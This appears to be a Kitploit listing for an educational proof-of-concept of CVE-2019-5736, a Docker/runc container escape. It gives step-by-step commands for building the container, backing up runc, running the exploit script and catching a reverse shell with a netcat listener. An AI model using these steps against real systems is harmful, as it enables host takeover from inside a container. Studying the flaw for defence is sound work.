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cve-2019-5736-study — Educational proof-of-concept for CVE-2019-5736, demonstrating Docker container escape via runc binary overwrite with a reverse shell payload. | Kitploit
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cve-2019-5736-study

Educational proof-of-concept for CVE-2019-5736, demonstrating Docker container escape via runc binary overwrite with a reverse shell payload.

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  • (1). Compile stage2.c into an executable file.
    • (2). Create a DockerFile and run docker build -t cve .
    • (3). docker run -d -t --name cvetest cve
    • (4). Back up the runc binary with cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
    • (5). Access it with docker exec -it cve /bin/bash.
    • (6). Inside docker run cd /root && ./run.sh && exit
    • (7). Listen on the host with nc -nlvvp 4455
    • (8). Connect to the container with docker exec -it cve /bin/bash

Reference: https://github.com/agppp/cve-2019-5736-poc Thank you.

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